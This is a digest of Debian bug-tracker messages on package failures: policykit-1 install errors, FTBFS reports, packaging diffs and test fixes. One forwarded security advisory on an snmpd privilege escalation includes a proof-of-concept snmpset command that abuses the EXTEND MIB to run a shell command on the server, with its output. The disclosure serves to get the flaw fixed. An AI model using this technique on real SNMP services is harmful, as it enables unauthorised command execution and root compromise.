Description: OpenPGP digital signature

Bug#965164:

[Jonathan Marsaud]

Edit: doesn't prevent rebooting but prevent from launching a GNOME or
Plasma session (freeze after login).

Jonathan Marsaud

Bug#965182: python3-enlighten{,-doc}: both ship usr/share/man/man1/enlighten.1.gz

[Andreas Beckmann]

Package: python3-enlighten,python3-enlighten-doc
Version: 1.6.0-1
Severity: serious
User: debian...@lists.debian.org
Usertags: piuparts

Hi,

during a test with piuparts I noticed your package failed to install
because it tries to overwrite other packages files.

>From the attached log (scroll to the bottom...):

  Selecting previously unselected package python3-enlighten-doc.
  Preparing to unpack .../8-python3-enlighten-doc_1.6.0-1_all.deb ...
  Unpacking python3-enlighten-doc (1.6.0-1) ...
  dpkg: error processing archive 
/tmp/apt-dpkg-install-ehxw9N/8-python3-enlighten-doc_1.6.0-1_all.deb (--unpack):
   trying to overwrite '/usr/share/man/man1/enlighten.1.gz', which is also in 
package python3-enlighten 1.6.0-1
  Errors were encountered while processing:
   /tmp/apt-dpkg-install-ehxw9N/8-python3-enlighten-doc_1.6.0-1_all.deb


cheers,

Andreas


python3-enlighten=1.6.0-1_python3-enlighten-doc=1.6.0-1.gz
Description: application/gzip

Bug#965164:

[Jonathan Marsaud]

Hi,

Also affected, but it doesn't seem to affect reboot or sound for me.

Regards,
Jonathan Marsaud

Bug#964634: marked as done (veyon: FTBFS: AccessControlProvider.cpp:168:93: error: ‘class QStringList’ has no member named ‘toSet’)

[Debian Bug Tracking System]

Your message dated Fri, 17 Jul 2020 08:55:50 +
with message-id 
and subject line Bug#964634: fixed in veyon 4.4.1+repack1-1
has caused the Debian Bug report #964634,
regarding veyon: FTBFS: AccessControlProvider.cpp:168:93: error: ‘class 
QStringList’ has no member named ‘toSet’
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
964634: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=964634
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: veyon
Version: 4.3.1+repack1-2
Severity: serious
Justification: FTBFS on amd64
Tags: bullseye sid ftbfs
Usertags: ftbfs-20200709 ftbfs-bullseye

Hi,

During a rebuild of all packages in sid, your package failed to build
on amd64.

Relevant part (hopefully):
> cd /<>/obj-x86_64-linux-gnu/core && /usr/bin/g++  
> -DBUILD_VEYON_CORE_LIBRARY -DQT_CONCURRENT_LIB -DQT_CORE_LIB 
> -DQT_DEPRECATED_WARNINGS -DQT_DISABLE_DEPRECATED_BEFORE=0x051200 -DQT_GUI_LIB 
> -DQT_NETWORK_LIB -DQT_NO_CAST_FROM_ASCII -DQT_NO_CAST_FROM_BYTEARRAY 
> -DQT_NO_CAST_TO_ASCII -DQT_NO_DEBUG -DQT_WIDGETS_LIB -D_FORTIFY_SOURCE=2 
> -Dveyon_core_EXPORTS 
> -I/<>/obj-x86_64-linux-gnu/core/veyon-core_autogen/include 
> -I/<>/core/include 
> -I/<>/obj-x86_64-linux-gnu/core/include 
> -I/<>/3rdparty/libvncserver 
> -I/<>/obj-x86_64-linux-gnu 
> -I/<>/obj-x86_64-linux-gnu/core 
> -I/<>/3rdparty/libvncserver/common -isystem 
> /usr/include/Qca-qt5/QtCrypto -isystem /usr/include/x86_64-linux-gnu/qt5 
> -isystem /usr/include/x86_64-linux-gnu/qt5/QtConcurrent -isystem 
> /usr/include/x86_64-linux-gnu/qt5/QtCore -isystem 
> /usr/lib/x86_64-linux-gnu/qt5/mkspecs/linux-g++ -isystem 
> /usr/include/x86_64-linux-gnu/qt5/QtGui -isystem 
> /usr/include/x86_64-linux-gnu/qt5/QtNetwork -isystem 
> /usr/include/x86_64-linux-gnu/qt5/QtWidgets  -g -O2 
> -fdebug-prefix-map=/<>=. -fstack-protector-strong -Wformat 
> -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -Wall -fno-exceptions 
> -std=c++11 -fstack-protector-strong  -O2 -g -DNDEBUG -fPIC 
> -fvisibility=hidden -fvisibility-inlines-hidden   
> -D'QT_TRANSLATIONS_DIR="/usr/share/qt5/translations"' -fPIC -std=gnu++11  
> -Winvalid-pch -include 
> "/<>/obj-x86_64-linux-gnu/core/cotire/veyon-core_CXX_prefix.hxx" 
>  -o CMakeFiles/veyon-core.dir/src/AccessControlProvider.cpp.o -c 
> /<>/core/src/AccessControlProvider.cpp
> In file included from /<>/core/include/VeyonCore.h:35,
>  from /<>/core/include/PluginInterface.h:29,
>  from 
> /<>/core/include/UserGroupsBackendInterface.h:27,
>  from 
> /<>/core/include/UserGroupsBackendManager.h:27,
>  from /<>/core/src/AccessControlProvider.cpp:28:
> /<>/core/include/QtCompat.h:42: warning: "Q_DISABLE_MOVE" 
> redefined
>42 | #define Q_DISABLE_MOVE(Class) \
>   | 
> In file included from 
> /usr/include/x86_64-linux-gnu/qt5/QtGui/qtguiglobal.h:43,
>  from 
> /usr/include/x86_64-linux-gnu/qt5/QtWidgets/qtwidgetsglobal.h:43,
>  from 
> /usr/include/x86_64-linux-gnu/qt5/QtWidgets/qapplication.h:43,
>  from 
> /usr/include/x86_64-linux-gnu/qt5/QtWidgets/QApplication:1,
>  from /<>/core/include/Cotire.h:4,
>  from 
> /<>/obj-x86_64-linux-gnu/core/cotire/veyon-core_CXX_prefix.cxx:4,
>  from 
> /<>/obj-x86_64-linux-gnu/core/cotire/veyon-core_CXX_prefix.hxx:4:
> /usr/include/x86_64-linux-gnu/qt5/QtCore/qglobal.h:436: note: this is the 
> location of the previous definition
>   436 | #define Q_DISABLE_MOVE(Class) \
>   | 
> /<>/core/src/AccessControlProvider.cpp: In member function ‘bool 
> AccessControlProvider::processAuthorizedGroups(const QString&)’:
> /<>/core/src/AccessControlProvider.cpp:168:93: error: ‘class 
> QStringList’ has no member named ‘toSet’
>   168 |  return intersects( m_userGroupsBackend->groupsOfUser( accessingUser, 
> m_queryDomainGroups ).toSet(),
>   |   
>   ^
> /<>/core/src/AccessControlProvider.cpp:169:52: error: ‘class 
> QStringList’ has no member named ‘toSet’
>   169 | VeyonCore::config().authorizedUserGroups().toSet() );
>   |^
> /<>/core/src/AccessControlProvider.cpp: In member function ‘bool 
> AccessControlProvider::haveGroupsInCommon(const QString&, const QString&) 
> const’:
> /<>/core/src/AccessControlProvider.cpp:265:35: error: ‘const 
> class QStringList’ has no member named ‘toSet’
>   265 |  return intersects( userOneGroups.toSet(), 

Bug#964044: mrpt: FTBFS: test failure

[José Luis Blanco-Claraco]

Hi, Gianfranco:

> > This issue has been fixed upstream:
> > https://github.com/MRPT/mrpt/commit/15234dc335c2413e3fd41021f7511f1d36fe915b.
> > Could you please apply the fix to the Debian package so that
> > ros-geometry2 transition can be completed? Thanks
>
>
> looks like that commit is already part of 2.0.4?

Sorry for the confusion on this particular unit test. Yes, the commit
you mention was already included into 2.0.4, and it solved all the
issues detected by "valgrind helgrind".

*But* even with that fixed, it failed as you reported in this bug, so
there is this newer commit upstream:
https://github.com/MRPT/mrpt/commit/e84511500276d38d3eeff0b220e8d45e0d74fc93

which is not yet released as 2.0.5, and which you can include as a
patch if you want to go on with the ros-geometry2 transition.

Cheers,
JL

-- 

/**
 * Jose Luis Blanco-Claraco
 * Universidad de Almería - Departamento de Ingeniería
 * [Homepage]( https://w3.ual.es/~jlblanco/ )
 * [GH profile]( https://github.com/jlblancoc )
 */

Bug#965181: goval-dictionary: B-D on removed golang-github-dgrijalva-jwt-go-v3-dev

[Andreas Beckmann]

Source: goval-dictionary
Version: 0.2.0-1
Severity: serious
Tags: ftbfs
Justification: fails to build from source (but built successfully in the past)

Hi,

goval-dictionary/experimental cannot be built any more since its
build-dependency golang-github-dgrijalva-jwt-go-v3-dev is gone.

Andreas

Bug#965164: [Pkg-utopia-maintainers] Bug#965164: policykit-1: fails to install

[Michael Biebl]

Am 17.07.20 um 04:57 schrieb Michael Stone:
> Package: policykit-1
> Version: 0.105-27
> Severity: grave
> Justification: renders package unusable
> 
> On install:
> 
> Setting up policykit-1 (0.105-27) ...
> chown: cannot access '/usr/lib/policykit-1/polkit-agent-helper-1': No such 
> file or directory
> 
> 
>> dpkg -L policykit-1 | grep help
> /usr/libexec/polkit-agent-helper-1

Sorry, my fault.
Working on a fixed package as we speak



signature.asc
Description: OpenPGP digital signature

Processed: forcibly merging 965165 965164

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> forcemerge 965165 965164
Bug #965165 [policykit-1] policykit-1: polkit.service broken after switch to 
/usr/libexec
Bug #965164 [policykit-1] policykit-1: fails to install
Severity set to 'serious' from 'grave'
Added tag(s) patch.
Bug #965165 [policykit-1] policykit-1: polkit.service broken after switch to 
/usr/libexec
Marked as found in versions policykit-1/0.105-26.
Merged 965164 965165
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
965164: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=965164
965165: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=965165
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#965166: [Pkg-net-snmp-devel] Bug#965166: snmpd privilege escalation

[Craig Small]

Hi Bart,
 Thanks for forwarding the report on.  Isn't it a generic net-snmp bug?
Debian does use this feature of setting the user to not root but wouldn't
anyone using the set the user feature have the same issue?

Not sure of the best way to fix this. Maybe not being to set the user in
/car files will do the trick?

Happy to work with you guys on a common fix.

 - Craig

 - Craig


On Fri, 17 Jul. 2020, 2:15 pm Bart Van Assche,  wrote:

> Package: snmpd
> Version: 5.7.3
>
> The report below comes from USD AG (https://www.usd.de). I am forwarding
> this report to the Debian organization because I think the root cause is
> not in the upstream Net-SNMP project but instead in how the Debian
> project packaged the Net-SNMP software. I see two possible approaches to
> fix this next to the solutions already mentioned in the report below:
> - Disable the EXTEND MIB. This will be considered as a regression by the
>   users of this MIB.
> - Do not allow the Debian-snmp user to modify the snmpd configuration.
>
> -
> Advisory: Elevation of Privileges in Net-SNMP
>
> Description
> ===
> On Debian based systems, the *NET-SNMP* daemon runs as a low privileged
> user account. However, this protection can be bypassed and it is
> possible for this account to elevate permissions to the root user.
>
> Details
> ===
> Advisory ID: usd20200059
> OTRS ID: Ticket#202007070115
> Product: NET-SNMP
> Affected Version: 5.7.3 (probably earlier versions are also affected)
> Vulnerability Type: Elevation of Privileges
> Security Risk: High
> Vendor URL: http://www.net-snmp.org/
> Vendor Status: Not fixed
> Advisory Status: Open
> CVE number: Not requested yet
> CVE Link: Not requested yet
> First Published: -MM-DD
> Last Update: 2020-07-09
>
> Introduction
> 
> The Simple Network Management Protocol (SNMP) is a widely used network
> protocol for controlling and monitoring network devices.
> Since the corresponding service (SNMP daemon) needs access to a lot of
> system components and (per default) binds the network port 161, it
> usually runs as the root user.
>
> On Debian based systems, the default installation of SNMP sets up a
> dedicated low privileged user account (*Debian-snmp*), that is used to
> run the SNMP daemon. This adds an additional layer of security, as a
> compromise of the SNMP service does not directly allow root
> access to the targeted device.
>
>
> Proof of Concept
> 
> After installing the SNMP daemon on a Debian based system (e.g. ``apt
> install snmpd``), a new user account(*Debian-snmp*) is created by the
> installer:
>
> ```
> root:x:0:0:root:/root:/bin/bash
> daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
> [..SNIP..]
> Debian-snmp:x:122:127::/var/lib/snmp:/bin/false
> ```
>
> The configuration of the snmpd daemon (systemd) shows, that this is the
> user account that runs the service:
>
> ```
> ubuntu@ubuntu:~$ cat /lib/systemd/system/snmpd.service
> [Unit]
> Description=Simple Network Management Protocol (SNMP) Daemon.
> After=network.target
> ConditionPathExists=/etc/snmp/snmpd.conf
>
> [Service]
>
> Environment="MIBSDIR=/usr/share/snmp/mibs:/usr/share/snmp/mibs/iana:/usr/share/snmp/mibs/ietf:/usr/share/mibs/site:/usr/share/snmp/mibs:/usr/share/mibs/iana:/usr/share/mibs/ietf:/usr/share/mibs/netsnmp"
> Environment="MIBS="
> Type=simple
> ExecStartPre=/bin/mkdir -p /var/run/agentx
> ExecStart=/usr/sbin/snmpd -Lsd -Lf /dev/null -u Debian-snmp -g
> Debian-snmp -I -smux,mteTrigger,mteTriggerConf -f
> ExecReload=/bin/kill -HUP $MAINPID
>
> [Install]
> WantedBy=multi-user.target
> ```
>
> In the following it is assumed that an attacker has *read-write* access
> to the SNMP service and is able to use the *NET-SNMP-EXTEND-MIB* extension.
> The following snipped shows how an attacker can abuse the *read-write*
> access to execute the operating system command ``id`` on the remote SNMP
> server:
>
> ```
> ubuntu@ubuntu:~$ cat setup.sh
> snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c secret localhost \
> 'nsExtendStatus."example"'  = createAndGo \
> 'nsExtendCommand."example"' = /bin/bash \
> 'nsExtendArgs."example"'= '-c id'
> ubuntu@ubuntu:~$ bash setup.sh
> NET-SNMP-EXTEND-MIB::nsExtendStatus."example" = INTEGER: createAndGo(4)
> NET-SNMP-EXTEND-MIB::nsExtendCommand."example" = STRING: /bin/bash
> NET-SNMP-EXTEND-MIB::nsExtendArgs."example" = STRING: -c id
> ubuntu@ubuntu:~$ snmpwalk -v2c -c secret localhost
> NET-SNMP-EXTEND-MIB::nsExtendObjects | grep example
> NET-SNMP-EXTEND-MIB::nsExtendCommand."example" = STRING: /bin/bash
> NET-SNMP-EXTEND-MIB::nsExtendArgs."example" = STRING: -c id
> NET-SNMP-EXTEND-MIB::nsExtendInput."example" = STRING:
> NET-SNMP-EXTEND-MIB::nsExtendCacheTime."example" = INTEGER: 5
> NET-SNMP-EXTEND-MIB::nsExtendExecType."example" = INTEGER: exec(1)
> NET-SNMP-EXTEND-MIB::nsExtendRunType."example" = INTEGER: run-on-read(1)
> 

Processed: severity of 965165 is serious

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> severity 965165 serious
Bug #965165 [policykit-1] policykit-1: polkit.service broken after switch to 
/usr/libexec
Severity set to 'serious' from 'normal'
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
965165: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=965165
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed: Fwd: [Pkg-net-snmp-devel] Bug#965166: snmpd privilege escalation

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> tag 965166 security
Bug #965166 [snmpd] snmpd privilege escalation
Added tag(s) security.
> severity 965166 critical
Bug #965166 [snmpd] snmpd privilege escalation
Severity set to 'critical' from 'normal'
> thank you
Stopping processing here.

Please contact me if you need assistance.
-- 
965166: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=965166
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#965164: policykit-1

[Stephan Verbücheln]

This also makes the system fail to boot.

Regards

Bug#961811: baresip: diff for NMU version 0.6.1-1.1

[peter green]

On 17/07/2020 06:40, Sebastian Ramacher wrote:

Hi

On 2020-07-17 00:02:17 +0100, peter green wrote:

(note: I am not the maintainer)
Sebastian Ramacher wrote:

I've prepared an NMU for baresip (versioned as 0.6.1-1.1) and
uploaded it to DELAYED/2.


While I have not tested, I am 99% sure your fix for make 4.3 will break the 
build with make 4.2 in testing.

Since I wrote the post in response to your proposed gst-plugins-bad1.0 NMU I 
have done some more searching,
and apparently the solution to this is to use a variable.  
https://lwn.net/Articles/826217/

I applied that technique and was able to get succesful builds in both raspbian 
bullseye-staging and Debian
sid. A debdiff of what I uploaded to raspbian is attatched.


Please feel free to cancel my NMU and upload your's instead.


Done (new upload in delayed/1), final debdiff attatched.


diff -Nru baresip-0.6.1/debian/changelog baresip-0.6.1/debian/changelog
--- baresip-0.6.1/debian/changelog  2019-02-18 12:30:38.0 +
+++ baresip-0.6.1/debian/changelog  2020-07-17 06:58:55.0 +
@@ -1,3 +1,18 @@
+baresip (0.6.1-1.1) bullseye-staging; urgency=medium
+
+  * Non-maintainer upload.
+
+  [Sebastian Ramacher]
+  * debian/patches:
+- Unbreak patch 1002 with make 4.3 (Closes: #961811)
+- Apply upstream patch to fix build of selftest
+
+  [Peter Michael Green]
+  * Further adjust patch 1002 so it is compatible with both make 4.2 
(bullseye) 
+and make 4.3 (sid)
+
+ -- Peter Michael Green   Fri, 17 Jul 2020 06:58:55 +
+
 baresip (0.6.1-1) unstable; urgency=medium
 
   [ upstream ]
diff -Nru baresip-0.6.1/debian/patches/1002_system_header_locations.patch 
baresip-0.6.1/debian/patches/1002_system_header_locations.patch
--- baresip-0.6.1/debian/patches/1002_system_header_locations.patch 
2019-02-11 19:42:25.0 +
+++ baresip-0.6.1/debian/patches/1002_system_header_locations.patch 
2020-07-16 19:37:33.0 +
@@ -14,15 +14,29 @@
 Last-Update: 2018-11-29
 ---
 This patch header follows DEP-3: http://dep.debian.net/deps/dep3/
 a/mk/modules.mk
-+++ b/mk/modules.mk
-@@ -67,46 +67,36 @@
+Index: baresip-0.6.1/mk/modules.mk
+===
+--- baresip-0.6.1.orig/mk/modules.mk
 baresip-0.6.1/mk/modules.mk
+@@ -59,6 +59,11 @@
+ # Default is enabled
+ MOD_AUTODETECT := 1
+ 
++# GNU make 4.3 changes the escaping rules for the hash sign, the reccomended
++# way to maintain compatibility with both 4.2 and 4.3 is to use a variable
++# see https://lwn.net/Articles/810071/
++HASHINCLUDE:=\#include
++
+ ifneq ($(MOD_AUTODETECT),)
+ 
+ USE_CONS  := 1
+@@ -67,46 +72,36 @@ USE_L16   := 1
  
  ifneq ($(OS),win32)
  
 -USE_ALSA  := $(shell [ -f $(SYSROOT)/include/alsa/asoundlib.h ] || \
 -  [ -f $(SYSROOT_ALT)/include/alsa/asoundlib.h ] && echo "yes")
-+USE_ALSA  := $(shell echo '\#include ' | \
++USE_ALSA  := $(shell echo '$(HASHINCLUDE) ' | \
 +  $(CC) -E - >/dev/null 2>&1 && echo yes)
 +USE_AMR   := $(shell pkg-config --exists opencore-amrnb && echo "yes")
 +ifeq ($(USE_AMR),)
@@ -39,9 +53,9 @@
 -  [ -f $(SYSROOT)/include/$(MACHINE)/libavformat/avformat.h ] || \
 -  [ -f $(SYSROOT_ALT)/include/libavformat/avformat.h ] && echo "yes")
 +endif
-+USE_AVCODEC := $(shell echo '\#include ' | \
++USE_AVCODEC := $(shell echo '$(HASHINCLUDE) ' | \
 +  $(CC) -E - >/dev/null 2>&1 && echo yes)
-+USE_AVFORMAT := $(shell echo '\#include ' | \
++USE_AVFORMAT := $(shell echo '$(HASHINCLUDE) ' | \
 +  $(CC) -E - >/dev/null 2>&1 && echo yes)
  USE_AVAHI := $(shell pkg-config --exists avahi-client && echo "yes")
 -USE_BV32  := $(shell [ -f $(SYSROOT)/include/bv32/bv32.h ] || \
@@ -69,26 +83,26 @@
 -  [ -f $(SYSROOT)/include/gsm/gsm.h ] || \
 -  [ -f $(SYSROOT)/local/include/gsm.h ] || \
 -  [ -f $(SYSROOT)/local/include/gsm/gsm.h ] && echo "yes")
-+USE_BV32  := $(shell echo '\#include ' | \
 +  $(CC) -E - >/dev/null 2>&1 && echo yes)
-+USE_CAIRO  := $(shell echo '\#include ' |\
++USE_CAIRO  := $(shell echo '$(HASHINCLUDE) ' |\
 +  $(CC) -E - >/dev/null 2>&1 && echo yes)
-+USE_DTLS := $(shell echo '\#include ' | \
++USE_DTLS := $(shell echo '$(HASHINCLUDE) ' | \
 +  $(CC) -E - >/dev/null 2>&1 && echo yes)
-+USE_DTLS_SRTP := $(shell echo '\#include ' | \
++USE_DTLS_SRTP := $(shell echo '$(HASHINCLUDE) ' | \
 +  $(CC) -E - >/dev/null 2>&1 && echo yes)
-+USE_G722 := $(shell echo '\#include ' | \
++USE_G722 := $(shell echo '$(HASHINCLUDE) ' | \
 +  $(CC) -E - >/dev/null 2>&1 && echo yes)
-+USE_G722_1 := $(shell echo '\#include ' | \
++USE_G722_1 := $(shell echo '$(HASHINCLUDE) ' | \
 +  $(CC) -E - >/dev/null 2>&1 && echo yes)
-+USE_G726 := $(shell echo '\#include ' | \
++USE_G726 := $(shell echo '$(HASHINCLUDE) ' | \
 +  $(CC) -E - >/dev/null 2>&1 && echo yes)
-+USE_GSM := $(shell echo '\#include ' | \
++USE_GSM := $(shell echo '$(HASHINCLUDE) ' | \
 +  $(CC) -E - >/dev/null 2>&1 && echo yes)
  USE_GST := 

Bug#965177: libftdi: ships broken cmake file

[Gianfranco Costamagna]

Hello again:

This is an example of cmake test file that might help in the future detecting 
such issues:
(stolen and adapted from mrpt)

cat ../CMakeLists.txt 
cmake_minimum_required(VERSION 3.16)
project(test)
find_package(LibFTDI1)

message("Include directories: " ${LIBFTDI_INCLUDE_DIRS})
message("Link directories: " ${LIBFTDI_LIBRARY_DIRS})
message("Libraries: " ${LIBFTDI_LIBRARIES})

add_library(imp_ftdi INTERFACE IMPORTED)
set_target_properties(imp_ftdi
 PROPERTIES
 INTERFACE_INCLUDE_DIRECTORIES "${LIBFTDI_INCLUDE_DIRS}"
 INTERFACE_LINK_DIRECTORIES "${LIBFTDI_LIBRARY_DIRS}"
 INTERFACE_LINK_LIBRARIES "${LIBFTDI_LIBRARIES}"
 )

add_executable(main main.c)
target_link_libraries(main PRIVATE imp_ftdi)


$ cmake ..

Include directories: /usr/include/libftdi1
Link directories: lib/x86_64-linux-gnu
Libraries: ftdi1/usr/lib/x86_64-linux-gnu/libusb-1.0.so
-- Configuring done
CMake Error in CMakeLists.txt:
  Target "imp_ftdi" contains relative path in its INTERFACE_LINK_DIRECTORIES:

"lib/x86_64-linux-gnu"


CMake Error in CMakeLists.txt:
  Target "imp_ftdi" contains relative path in its INTERFACE_LINK_DIRECTORIES:

"lib/x86_64-linux-gnu"


-- Generating done
CMake Generate step failed.  Build files cannot be regenerated correctly.


and this is the patch that fixes the issue:

diff -Nru libftdi1-1.5/debian/changelog libftdi1-1.5/debian/changelog
--- libftdi1-1.5/debian/changelog   2020-07-17 08:57:55.0 +0200
+++ libftdi1-1.5/debian/changelog   2020-07-17 09:19:25.0 +0200
@@ -1,3 +1,9 @@
+libftdi1 (1.5-3.1) unstable; urgency=medium
+
+  * Add again the LIBDIR in rules file to make the cmake script happy (Closes: 
#-1)
+
+ -- Gianfranco Costamagna   Fri, 17 Jul 2020 
09:19:25 +0200
+
 libftdi1 (1.5-3ubuntu1) groovy; urgency=medium

   * Mark one symbol as optional, disappearing on ppc64el with -O3
diff -Nru libftdi1-1.5/debian/rules libftdi1-1.5/debian/rules
--- libftdi1-1.5/debian/rules   2020-07-13 11:23:42.0 +0200
+++ libftdi1-1.5/debian/rules   2020-07-17 09:19:25.0 +0200
@@ -11,6 +11,7 @@
 override_dh_auto_configure:
dh_auto_configure --builddirectory=build-main -- \
-DBUILD_TESTS=ON \
+   -DCMAKE_INSTALL_LIBDIR="/usr/lib/$(DEB_HOST_MULTIARCH)" \
-DDOCUMENTATION:BOOL=ON \
-DEXAMPLES:BOOL=ON \
-DFTDIPP:BOOL=ON \
@@ -19,6 +20,7 @@
for v in $(PY3VERS) ; do \
dh_auto_configure --builddirectory=build-python$$v -- \
-DBUILD_TESTS=OFF \
+   -DCMAKE_INSTALL_LIBDIR="/usr/lib/$(DEB_HOST_MULTIARCH)" 
\
-DDOCUMENTATION:BOOL=OFF \
-DEXAMPLES:BOOL=OFF \
-DFTDIPP:BOOL=ON \

Bug#964086: marked as done (r-cran-sf: autopkgtest failures with PROJ 7.1.0)

[Debian Bug Tracking System]

Your message dated Fri, 17 Jul 2020 07:33:36 +
with message-id 
and subject line Bug#964086: fixed in r-cran-sf 0.9-5+dfsg-1
has caused the Debian Bug report #964086,
regarding r-cran-sf: autopkgtest failures with PROJ 7.1.0
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
964086: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=964086
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: r-cran-sf
Version: 0.9-3+dfsg-1
Severity: serious
Justification: makes the package in question unusable or mostly so

Dear Maintainer,

The autopkgtest of your package fail with PROJ 7.1.0:

 BEGIN TEST testthat.R

 R version 4.0.2 (2020-06-22) -- "Taking Off Again"
 Copyright (C) 2020 The R Foundation for Statistical Computing
 Platform: x86_64-pc-linux-gnu (64-bit)

 R is free software and comes with ABSOLUTELY NO WARRANTY.
 You are welcome to redistribute it under certain conditions.
 Type 'license()' or 'licence()' for distribution details.

 R is a collaborative project with many contributors.
 Type 'contributors()' for more information and
 'citation()' on how to cite R or R packages in publications.

 Type 'demo()' for some demos, 'help()' for on-line help, or
 'help.start()' for an HTML browser interface to help.
 Type 'q()' to quit R.

 > library(testthat)
 > suppressPackageStartupMessages(library(sf))
 > 
 > test_check("sf")
 proj_create: Cannot find proj.db
 proj_create: Cannot find proj.db
 proj_create_operation_factory_context: Cannot find proj.db
 pj_obj_create: Cannot find proj.db
 pj_obj_create: Cannot find proj.db
 Cannot open layer foo
 Reading layer `nospatial' from data source 
`/usr/lib/R/site-library/sf/gpkg/nospatial.gpkg' using driver `GPKG'
 Reading layer `nospatial' from data source 
`/usr/lib/R/site-library/sf/gpkg/nospatial.gpkg' using driver `GPKG'
 OGR: Unsupported geometry type
 -- 1. Failure: filter to sfc works (@test_tidy.R#17)  
--
 d %>% filter(!st_is_empty(geometry)) not identical to d[1, ].
 Component "geometry": Attributes: < Component "class": 1 string mismatch >

 -- 2. Failure: filter to sfc works (@test_tidy.R#19)  
--
 d %>% filter(st_is(geometry, "POINT")) not identical to d[1:2, ].
 Component "geometry": Attributes: < Component "class": 1 string mismatch >

 Failed to create feature 1 in x
 Failed to create feature 1 in x
 == testthat results  
===
 [ OK: 522 | SKIPPED: 17 | WARNINGS: 6 | FAILED: 2 ]
 1. Failure: filter to sfc works (@test_tidy.R#17) 
 2. Failure: filter to sfc works (@test_tidy.R#19) 

 Error: testthat unit tests failed
 Execution halted

https://ci.debian.net/data/autopkgtest/unstable/amd64/r/r-cran-sf/6060227/log.gz

The upstream git repo shows several changes related to PROJ 7.1.0,
you can likely cherry-pick those to fix this issue.

Kind Regards,

Bas
--- End Message ---
--- Begin Message ---
Source: r-cran-sf
Source-Version: 0.9-5+dfsg-1
Done: =?utf-8?q?Dylan_A=C3=AFssi?= 

We believe that the bug you reported is fixed in the latest version of
r-cran-sf, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 964...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Dylan Aïssi  (supplier of updated r-cran-sf package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Format: 1.8
Date: Fri, 17 Jul 2020 09:00:18 +0200
Source: r-cran-sf
Architecture: source
Version: 0.9-5+dfsg-1
Distribution: unstable
Urgency: medium
Maintainer: Debian R Packages Maintainers 
Changed-By: Dylan Aïssi 
Closes: 964086
Changes:
 r-cran-sf (0.9-5+dfsg-1) unstable; urgency=medium
 .
   * Team upload.
   * New upstream version
   Fix autopkgtest failures with PROJ 7.1.0 (Closes: #964086)
   * debhelper-compat 13 (routine-update)
Checksums-Sha1:
 d860dd2977fe5e817d3e4229f1f76ed42a967ec0 2375 r-cran-sf_0.9-5+dfsg-1.dsc
 8107068ee8b476927dc335ea910a99beea7516ef 1923200 
r-cran-sf_0.9-5+dfsg.orig.tar.xz
 09282ceb7d4aaedcc183254db0f9d3c75ee4bd31 3260 
r-cran-sf_0.9-5+dfsg-1.debian.tar.xz
 db9f7f84a4219c51ae8488c83b10a548a3381790 12913 
r-cran-sf_0.9-5+dfsg-1_amd64.buildinfo
Checksums-Sha256:
 

Bug#965164: policykit-1: fails to install

[jim_p]

Package: policykit-1
Version: 0.105-26
Followup-For: Bug #965164

Same thing here, on my debian unstable installation.

I did this to "force" dpkg complete the installation, but I do not know if it
is correct

mkdir /usr/lib/policykit-1/
cp /usr/libexec/polkit-agent-helper-1 /usr/lib/policykit-1/polkit-agent-
helper-1

I have not found any side effects myself, because the installation is on an old
32bit pc without xorg, desktop enviroment, pulseaudio etc.

p.s. I am writing this from my debian testing installation on my main pc.



-- System Information:
Debian Release: bullseye/sid
  APT prefers testing
  APT policy: (990, 'testing'), (500, 'unstable'), (1, 'experimental')
Architecture: amd64 (x86_64)

Kernel: Linux 5.7.0-1-amd64 (SMP w/2 CPU threads)
Kernel taint flags: TAINT_PROPRIETARY_MODULE, TAINT_OOT_MODULE, 
TAINT_UNSIGNED_MODULE
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages policykit-1 depends on:
ii  dbus 1.12.20-1
ii  libc62.30-8
ii  libexpat12.2.9-1
ii  libglib2.0-0 2.64.3-2
ii  libpam-systemd [logind]  245.6-2
ii  libpam0g 1.3.1-5
ii  libpolkit-agent-1-0  0.105-26
ii  libpolkit-gobject-1-00.105-26
ii  libsystemd0  245.6-2

policykit-1 recommends no packages.

policykit-1 suggests no packages.

Versions of packages policykit-1 is related to:
pn  elogind 
pn  libpam-elogind  
ii  libpam-systemd  245.6-2
ii  systemd 245.6-2

-- no debconf information